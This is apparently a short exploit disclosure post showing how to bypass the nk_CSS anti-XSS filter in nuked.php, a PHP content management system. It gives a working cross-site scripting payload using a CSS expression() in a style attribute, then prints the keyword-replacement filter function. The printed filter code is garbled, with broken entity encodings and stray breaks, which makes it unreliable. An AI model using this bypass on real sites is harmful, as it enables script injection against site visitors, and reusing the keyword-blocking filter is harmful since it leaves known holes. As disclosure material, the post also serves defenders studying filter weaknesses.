// *- BEGIN -*
// By Blwood
// http://blwood.net <http://blwood.net/>
We can bypassed the function anti-xss called nk_CSS ( nuked.php) using
like this :
<b id="blwood" style="width:expression(alert(' http://www.blwood.net'))
<http://www.blwood.net%27%29%29/>"></b>
Here is the function :
function nk_CSS($str)
{
if ($str != "")
{
$str = eregi_replace("content-disposition:","conten t-dispos 05;tion:",$str);
$str = eregi_replace("content-type:","content& #45;type:",$str);
$str = eregi_replace("content-transfer-encoding:","conten 16;-transfe& #114;-encodin ;g:",$str);
$str = eregi_replace("include","incl&# 117;de",$str);
$str = eregi_replace("\<\?","<?",$str);
$str = eregi_replace("<\?php","<?php",$str);
$str = eregi_replace("\?\>","?>",$str);
$str = eregi_replace("script","scri 12;t",$str);
$str = eregi_replace("eval","eval",$st r);
$str = eregi_replace("javascript","java script",$str);
$str = eregi_replace("embed","embe
 0;",$str);
$str = eregi_replace("iframe","ifra 09;e",$str);
$str = eregi_replace("refresh", "refresh", $str);
$str = eregi_replace("onload", "onload", $str);
$str = eregi_replace("onstart", "onstart", $str);
$str = eregi_replace("onerror", "onerror", $str);
$str = eregi_replace("onabort", "onabort", $str);
$str = eregi_replace("onblur", "onblur", $str);
$str = eregi_replace("onchange", "onchange ;", $str);
$str = eregi_replace("onclick", "onclick", $str);
$str = eregi_replace("ondblclick", "ondblcli	 9;k", $str);
$str = eregi_replace("onfocus", "onfocus", $str);
$str = eregi_replace("onkeydown", "onkeydow& #110;", $str);
$str = eregi_replace("onkeypress", "onkeypre& #115;s", $str);
$str = eregi_replace("onkeyup", "onkeyup", $str);
$str = eregi_replace("onmousedown", "onmoused& #111;wn", $str);
$str = eregi_replace("onmousemove", "onmousem& #111;ve", $str);
$str = eregi_replace("onmouseover", "onmouseo& #118;er", $str);
$str = eregi_replace("onmouseout", "onmouseo& #117;t", $str);
$str = eregi_replace("onmouseup", "onmouseu& #112;", $str);
$str = eregi_replace("onreset", "onreset", $str);
$str = eregi_replace("onselect", "onselec 6;", $str);
$str = eregi_replace("onsubmit", "onsubmi 6;", $str);
$str = eregi_replace("onunload", "onunloa
 0;", $str);
$str = eregi_replace("document", "documen 6;", $str);
$str = eregi_replace("cookie", "cookie", $str);
$str = eregi_replace("vbscript", "vbscript ;", $str);
$str = eregi_replace("location", "location ;", $str);
$str = eregi_replace("object", "object", $str);
$str = eregi_replace("vbs", "vbs", $str);
$str = eregi_replace("href", "href", $str);
$str = eregi_replace("src", "src", $str);
}
return($str);
}
// *- END -*

Likes:

Quote